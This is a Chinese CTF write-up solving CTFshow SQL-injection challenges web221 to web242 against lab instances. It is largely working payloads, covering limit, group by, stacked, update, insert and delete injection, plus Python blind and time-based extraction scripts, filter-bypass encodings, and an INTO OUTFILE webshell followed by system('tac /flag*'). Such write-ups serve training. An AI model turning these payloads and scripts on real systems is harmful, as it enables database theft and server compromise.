CTFshow sql注入 上篇(web221-253)

`

目录

  • 前言
  • 题目
    • web221(limit注入)
    • web222(group by注入)
    • web223(group by注入)
    • web224(文件名注入)
    • web225 (堆叠注入)
      • 解法一(handle)
      • 解法二(预编译)
    • web226,web228-web230 (堆叠注入)
    • web227 (堆叠注入)
    • web231 (update注入)
      • 解法1
      • 解法2
    • web232(update注入)
    • web233(update注入)
    • web234(update注入)
    • web235(update注入)
      • union重命名法
      • 比较法盲注
    • web236(update注入)
      • 比较法盲注
      • union重命名法
    • web237(insert注入)
    • web238(insert过滤)
    • web239(insert过滤)
    • web240(insert过滤)
    • web241(delete注入)
    • web242(文件读写)
  • 题解
  • 总结


前言

开始下半部分


题目

web221(limit注入)

做之前,可以先看一下p神的博客,有讲关于limit注入的,版本限制(5.0.0-5.6.6)

https://www.leavesongs.com/PENETRATION/sql-injections-in-mysql-limit-clause.html

补充以下:

这里分两种情况,limit前面有无order by,有order by可以用union联合查询的

SELECT * from user LIMIT 1,1 union select * from user

CTFshow sql注入 上篇(web221-253)_第1张图片
题目用不了union,说明有order by

直接用p神的payload,数据库名就是flag

procedure analyse(extractvalue(rand(),concat(0x3a,database())),1)

因为版本问题,select用不了,所以也不能查到更多信息

web222(group by注入)

看到有个去重,点击抓包

初步判断一下,可以用concat(if(1=1,"username",cot(0))),根据回显直接用盲注
CTFshow sql注入 上篇(web221-253)_第2张图片

# @Author:Kradress
import requests
import string

url = "http://12ee4415-b331-421c-b9d4-a077a8e155fd.challenge.ctf.show/api/"

result = ''
dict=string.ascii_lowercase+string.digits+"_-}{"

# 爆表名  
# payload = "select group_concat(table_name) from information_schema.tables where table_schema=database()"
# 爆列名
# payload = "select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='ctfshow_flaga'"
#爆字段值
payload = "select flagaabc from ctfshow_flaga"

for i in range(1,46):
    print(i)
    for j in dict:
        s = f"?u=concat(if(substr(({payload}),{i},1)='{j}',username,cot(0)))#"
        r = requests.get(url+s)
        if("ctfshow" in r.text):
            result +=j
            print(result)
            break

web223(group by注入)

对数字进行了过滤

# @Author:Kradress
import requests
import string

url = "http://7702b56c-35d9-4b80-abdc-bb0956f4bce5.challenge.ctf.show/api/"

result = ''
dict=string.ascii_lowercase+string.digits+"_-,}{"

# 爆表名  
# payload = "select group_concat(table_name) from information_schema.tables where table_schema=database()"
# 爆列名
# payload = "select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='ctfshow_flagas'"
#爆字段值
payload = "select flagasabc from ctfshow_flagas"

def numToStr(str):
    parts = []
    for s in str:
        parts.append(numToStr2(s))
    res = ','.join(parts)
    return f"concat({res})"

def numToStr2(num):
    parts = []
    n = ord(num)
    for i in range(n):
        parts.append("true")
    res = "+".join(parts)
    return f"char({res})"

for i in range(1,46):
    print(i)
    for j in dict:
        params={
            'u' : f"concat(if(substr(({payload}),{numToStr(str(i))},true)={numToStr(j)},username,cot(false)))#"
        }
        r = requests.get(url, params=params)
        # print(r.url)
        if("ctfshow" in r.text):
            result +=j
            print(result)
            break

web224(文件名注入)

登陆页面试了半天进不去,后面发现有个robot.txt,里面有个重置密码页面

成功进了后台,发现是一个文件上传点,但经过测试,只能上传zip

CTFshow sql注入 上篇(web221-253)_第3张图片

没什么思路,群里有个payload.bin可以上传,访问1.php可以getshell
(y1ng师傅也有详细讲解)

https://blog.gem-love.com/ctf/2283.html#%E4%BD%A0%E6%B2%A1%E8%A7%81%E8%BF%87%E7%9A%84%E6%B3%A8%E5%85%A5

web225 (堆叠注入)

  //师傅说过滤的越多越好
  if(preg_match('/file|into|dump|union|select|update|delete|alter|drop|create|describe|set/i',$username)){
    die(json_encode($ret));
  }

看上去过滤挺多的,不过可以用handlie

解法一(handle)

?username=';show tables;%23

?username=';handler `ctfshow_flagasa` open as hd;handler hd read first;%23

解法二(预编译)

prepare用于预备一个语句,并赋予名称,以后可以引用该语句
execute执行语句
(deallocate|drop) prepare name用来释放掉预处理的语句(也可以不加)

Prepare stmt from CONCAT('se','lect * from `ctfshow_flagasa`;');EXECUTE stmt;#
拆分开来如下:
Prepare stmt from CONCAT('se','lect * from `ctfshow_flagasa`;');
EXECUTE stmt;
#deallocate prepare stmt; #可以不加
#

web226,web228-web230 (堆叠注入)

  //师傅说过滤的越多越好
  if(preg_match('/file|into|dump|union|select|update|delete|alter|drop|create|describe|set|show|\(/i',$username)){
    die(json_encode($ret));
  }

对比上题,show不能用了意味着不能通过show tables来获取表名

采用预编译的话因为(,不能用,concat用不了了,不过可以使用16进制代替,如果只是过滤引号的话可以用unhex()和hex()组合绕过,这里分享一下

'abc' 等价于unhex(hex(6e6+382179)); 可以用于绕过大数过滤(大数过滤:/\d{9}|0x[0-9a-f]{9}/i)
具体转换的步骤是:
  1. abc转成16进制是616263
  2. 616263转十进制是6382179
  3. 用科学计数法表示6e6+382179 
  4. 套上unhex(hex()),就是unhex(hex(6e6+382179));

回到正题

查表名(也不用加注释;就相当于结束了sql语句了)

?username=';Prepare stmt from 0x73686F77207461626C6573;EXECUTE stmt;

CTFshow sql注入 上篇(web221-253)_第4张图片
拿到flag

?username=';Prepare stmt from 0x73656C656374202A2066726F6D2063746673685F6F775F666C61676173;EXECUTE stmt;

CTFshow sql注入 上篇(web221-253)_第5张图片

web227 (堆叠注入)

和上题差不多思路,但是找不到flag

 //师傅说过滤的越多越好
  if(preg_match('/file|into|dump|union|select|update|delete|alter|drop|create|describe|set|show|db|\,/i',$username)){
    die(json_encode($ret));
  }

参考博客MySQL——查看存储过程和函数
在 MySQL 中,存储过程和函数的信息存储在 information_schema 数据库下的 Routines 表中,可以通过查询该表的记录来查询存储过程和函数的信息,其基本的语法形式如下:

   SELECT   *   FROM   information_schema.Routines
   WHERE   ROUTINE_NAME  =  '   sp_name  ' ;

其中,ROUTINE_NAME 字段中存储的是存储过程和函数的名称; sp_name 参数表示存储过程或函数的名称。

直接拿到flag

?username=';Prepare stmt from 0x73656C656374202A2066726F6D20696E666F726D6174696F6E5F736368656D612E726F7574696E6573;EXECUTE stmt;%

CTFshow sql注入 上篇(web221-253)_第6张图片

web231 (update注入)

先来看看sql语句

  //分页查询
 $sql = "update ctfshow_user set pass = '{$password}' where username = '{$username}';";

题目本身是没有什么过滤的,有两个可以注入的地方

解法1

把在pass处把密码闭合,把username值改为datebase(),然后注释掉后面

password=123',username=database()#&username=

把所有用户名密码改成了数据库名

CTFshow sql注入 上篇(web221-253)_第7张图片
查表名

// banlist,ctfshow_user,flaga
password=123',username=(select group_concat(table_name) from information_schema.tables where table_schema=database())#&username=

查字段名

//id,flagas,info
password=123',username=(select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='flaga')#&username=

拿flag

password=123',username=(select group_concat(flagas) from flaga)#&username=

解法2

延时3s,直接上时间盲注脚本

password=123&username=ctfshow' and sleep(3)#
# @Author:Kradress
import requests

url = "http://f50fecf3-250b-45f2-9c10-ada03b956fff.challenge.ctf.show/api/"
table_name = 'flaga'
flag = 'flagas'

result = ''

# 数据库名
# payload = "database()"
# 爆表名  
# payload = "select group_concat(table_name) from information_schema.tables where table_schema=database()"
# 爆列名
# payload = f"select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='{table_name}'"
#爆字段值
payload = f"select {flag} from {table_name}"

for i in range(1,50):
    head = 32
    tail = 127

    while head < tail:

        #sleep(1)
        
        mid = (head + tail) >> 1 # 中间指针等于头尾指针相加的一半
        print(mid)
        data = {
            'username' : f"ctfshow' and if(ascii(substr(({payload}),{i},1))>{mid},sleep(3),1)#",
            'password' : 0
        }
        try:
            r = requests.post(url, data, timeout=2.5)
            tail = mid 
        except:
            head = mid + 1 #sleep导致超时

    if head != 32:
        result += chr(head)
        print(result)
    else:
        break

web232(update注入)

 //分页查询
  $sql = "update ctfshow_user set pass = md5('{$password}') where username = '{$username}';";

密码用md5加密了了,可以通过拼接')来闭合,其他和上题一样

web233(update注入)

这题直接用盲注

# @Author:Kradress
import requests

url = "http://0dafac0b-7752-47bd-83fe-b65c972164e9.challenge.ctf.show/api/"
table_name = 'flag233333'
flag = 'flagass233'

result = ''

# 数据库名
# payload = "database()"
# 爆表名  
# payload = "select group_concat(table_name) from information_schema.tables where table_schema=database()"
# 爆列名
# payload = f"select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='{table_name}'"
#爆字段值
payload = f"select {flag} from {table_name}"

for i in range(1,50):
    head = 32
    tail = 127

    while head < tail:

        #sleep(1)
        
        mid = (head + tail) >> 1 # 中间指针等于头尾指针相加的一半
        print(mid)
        data = {
            'username' : f"ctfshow' and if(ascii(substr(({payload}),{i},1))>{mid},sleep(3),1)#",
            'password' : 0
        }
        try:
            r = requests.post(url, data, timeout=2.5)
            tail = mid 
        except:
            head = mid + 1 #sleep导致超时

    if head != 32:
        result += chr(head)
        print(result)
    else:
        break

web234(update注入)

尝试下了,执行失败,猜测可能单引号被过滤了

password=1234&username=ctfshow'#

可以在pass处用\转义单引号,username用十六进制绕过

//0x63746673686f77 => ctfshow
password=\&username= where username =  0x63746673686f77 and sleep(3)#

最后直接上盲注脚本

# @Author:Kradress
import requests

url = "http://9298293f-de8c-414f-beaf-5ef7041922f2.challenge.ctf.show/api/"
table_name = 'flag23a'
flag = 'flagass23s3'

result = ''

def strToHex(S : str):
    parts = []
    for s in S:
        parts.append(str(hex(ord(s)))[2:])
    return '0x' + ''.join(parts)


# 数据库名
# payload = "database()"
# 爆表名  
# payload = "select group_concat(table_name) from information_schema.tables where table_schema=database()"
# 爆列名
# payload = f"select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name={strToHex(table_name)}"
#爆字段值
payload = f"select {flag} from {table_name}"


for i in range(1,50):
    head = 32
    tail = 127

    while head < tail:

        #sleep(1)
        
        mid = (head + tail) >> 1 # 中间指针等于头尾指针相加的一半
        print(mid)
        data = {
            'username' : f" where username =  0x63746673686f77 and if(ascii(substr(({payload}),{i},1))>{mid},sleep(3),1)#",
            'password' : "\\"
        }
        try:
            r = requests.post(url, data, timeout=2.5)
            tail = mid 
        except:
            head = mid + 1 #sleep导致超时

    if head != 32:
        result += chr(head)
        print(result)
    else:
        break

web235(update注入)

发现or被过滤了,infomation不能用了,可以用sys或者mysql库替代

查表名

select group_concat(table_name) from mysql.innodb_table_stats where database_name=database();
select group_concat(table_name)from mysql.innodb_index_stats where database_name=database();

这里要用到无列名盲注,可以看我的博客

无列名盲注

union重命名法

password=\&username=,username=(select group_concat(table_name) from mysql.innodb_table_stats where database_name=database())#

CTFshow sql注入 上篇(web221-253)_第8张图片
这三种都可以,limit 1,1 是因为第一行是1,2,3

password=\&username=,username=(select a.2 from (select 1,2,3 union select * from flag23a1 limit 1,1)a)#
password=\&username=,username=(select `2` from (select 1,2,3 union select * from flag23a1 limit 1,1)a)#
password=\&username=,username=(select b from (select 1,2 as b,3 union select * from flag23a1 limit 1,1)a)#

比较法盲注

# @Author:Kradress
import requests
import string

url = "http://99c6146f-7390-4303-9c69-8bad06dfd783.challenge.ctf.show/api/"
table_name = 'flag23a1'

result = ''

def strToHex(S : str):
    parts = []
    for s in S:
        parts.append(str(hex(ord(s)))[2:])
    return '0x' + ''.join(parts)

uuid = string.ascii_lowercase+string.digits+"{-,_}"
# 数据库名
# payload = "database()"
# 爆表名  
# payload = "select group_concat(table_name) from mysql.innodb_table_stats where database_name=database()"


for i in range(1,50):
    for j in range(32,128):
        data = {
            # 爆表名
            # 'username' : f" where username =  0x63746673686f77 and if(ascii(substr(({payload}),{i},1))={j},sleep(3),1)#",
            # 比较法盲注
            'username' : f" where username =  0x63746673686f77 and if(((select 0x31,{strToHex(result+chr(j))},{strToHex('!')})<(select * from {table_name} limit 0,1)),1,sleep(3))#",
            'password' : "\\"
        }
        print(i,data.get('username'))

        try:
            r = requests.post(url, data=data, timeout=2.5)
        except:
            result += chr(j-1) #sleep导致超时
            print(result)
            break

        if(j==127):
            break

web236(update注入)

多过滤了一个flag,不过在用比较法盲注解的时候,发现并不影响.说明这里应该是过滤flag的回显

比较法盲注

同上

union重命名法

拿到表名flaga

password=\&username=,username=(select group_concat(table_name) from mysql.innodb_table_stats where database_name=database())#

这里对flag的回显做编码处理

过滤回显内容

password=\&username=,username=(select to_base64(a.2) from (select 1,2 ,3 union select * from flaga limit 1,1)a)#

web237(insert注入)

  //插入数据
  $sql = "insert into ctfshow_user(username,pass) value('{$username}','{$password}');";

可以用再{username}处用\'进行转义

username=as\&password=,database());#

CTFshow sql注入 上篇(web221-253)_第9张图片
CTFshow sql注入 上篇(web221-253)_第10张图片

#查表名
username=as\&password=,(select group_concat(table_name) from information_schema.tables where table_schema=database()));#
#查字段
username=as\&password=,(select group_concat(column_name) from information_schema.columns where table_name='flag'));#
# 查flag
username=as\&password=,(select group_concat(flagass23s3) from flag));#

web238(insert过滤)

过滤了个空格,不影响

除了()其他貌似都用不了

#查表名
username=as\&password=,(select(group_concat(table_name))from(information_schema.tables)where(table_schema=database())));#
#查字段
username=as\&password=,(select(group_concat(column_name))from(information_schema.columns)where(table_name='flagb')));#
# 查flag
username=as\&password=,(select group_concat(flagass23s3) from flag));#

web239(insert过滤)

过滤空格或or,information不能用了

可以用其它数据库代替,但是只能查表名

查表名

username=as\&password=,(select(group_concat(table_name))from(mysql.innodb_table_stats)where(database_name=database())));#

这里查字段可以用union重命名法,因为过滤了空格,在limit 1,1这里想不到怎么去绕过空格的过滤

好在字段名还是flag

username=as\&password=,(select(flag)from`flagbb`));#

web240(insert过滤)

  //过滤空格 or sys mysql

把查表名的方法都堵死了,看hint,大概就是写个脚本把所有可能都枚举一遍就好啦

Hint: 表名共9位,flag开头,后五位由a/b组成,如flagabaab,全小写

懒得写脚本,可以看看其他师傅wp,我这里直接用burp

CTFshow sql注入 上篇(web221-253)_第11张图片

写脚本的话可以跑完再查询数据,也可以每发一个包然后再发一个包看数据里面是否包含ctfshow{

web241(delete注入)

  //删除记录
  $sql = "delete from  ctfshow_user where id = {$id}";

抓个包
CTFshow sql注入 上篇(web221-253)_第12张图片
这里可以用时间盲注

这里用二分法时间盲注

# @Author:Kradress
import requests

url = "http://a5227021-9f03-4528-8827-243db8331e31.challenge.ctf.show/api/delete.php"
table_name = 'flag'
flag = 'flag'

result = ''

def strToHex(S : str):
    parts = []
    for s in S:
        parts.append(str(hex(ord(s)))[2:])
    return '0x' + ''.join(parts)

# 数据库名
# payload = "database()"
# 爆表名  
# payload = "select group_concat(table_name) from information_schema.tables where table_schema=database()"
# 爆列名
# payload = f"select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='{table_name}'"
#爆字段值
payload = f"select {flag} from {table_name}"

for i in range(1,50):
    head = 32
    tail = 127

    while head < tail:

        #sleep(1)
        
        mid = (head + tail) >> 1 # 中间指针等于头尾指针相加的一半
        print(mid)
        data = {
            'id' : f"if(ascii(substr(({payload}),{i},1))>{mid},sleep(0.01),-1)#",
        }
        try:
            r = requests.post(url, data, timeout=0.2)
            tail = mid 
        except:
            head = mid + 1 #sleep导致超时

    if head != 32:
        result += chr(head)
        print(result)
    else:
        break

刚开始是sleep(3),timeout=2.5,没跑出来,看页面发现响应时间有点长,把sleep时间调小点就好了
if(ascii(substr(({payload}),{i},1))>{mid},sleep(0.01),-1)#

web242(文件读写)

  //备份表
  $sql = "select * from ctfshow_user into outfile '/var/www/html/dump/{$filename}';";

不会做,直接看其他师傅的wp

这里是利用info outfile的扩展参数

SELECT ... INTO OUTFILE 'file_name'
        [CHARACTER SET charset_name]
        [export_options]

export_options:
    [{FIELDS | COLUMNS}
        [TERMINATED BY 'string']//分隔符
        [[OPTIONALLY] ENCLOSED BY 'char']
        [ESCAPED BY 'char']
    ]
    [LINES
        [STARTING BY 'string']
        [TERMINATED BY 'string']
    ]
OPTION”参数为可选参数选项,其可能的取值有:

`FIELDS TERMINATED BY '字符串'`:设置字符串为字段之间的分隔符,可以为单个或多个字符。默认值是“\t”。

`FIELDS ENCLOSED BY '字符'`:设置字符来括住字段的值,只能为单个字符。默认情况下不使用任何符号。

`FIELDS OPTIONALLY ENCLOSED BY '字符'`:设置字符来括住CHARVARCHARTEXT等字符型字段。默认情况下不使用任何符号。

`FIELDS ESCAPED BY '字符'`:设置转义字符,只能为单个字符。默认值为“\”。

`LINES STARTING BY '字符串'`:设置每行数据开头的字符,可以为单个或多个字符。默认情况下不使用任何字符。

`LINES TERMINATED BY '字符串'`:设置每行数据结尾的字符,可以为单个或多个字符。默认值是“\n”。

可以写马的参数有:

FIELDS TERMINATED BY、 LINES STARTING BY、 LINES TERMINATED BY

点击导出抓包

filename=1.php' LINES STARTING BY "";#

CTFshow sql注入 上篇(web221-253)_第13张图片
访问/dump/1.php

POST

1=system("tac /flag*");

题解

################################


总结

你可能感兴趣的:(CTFshow,php,sql)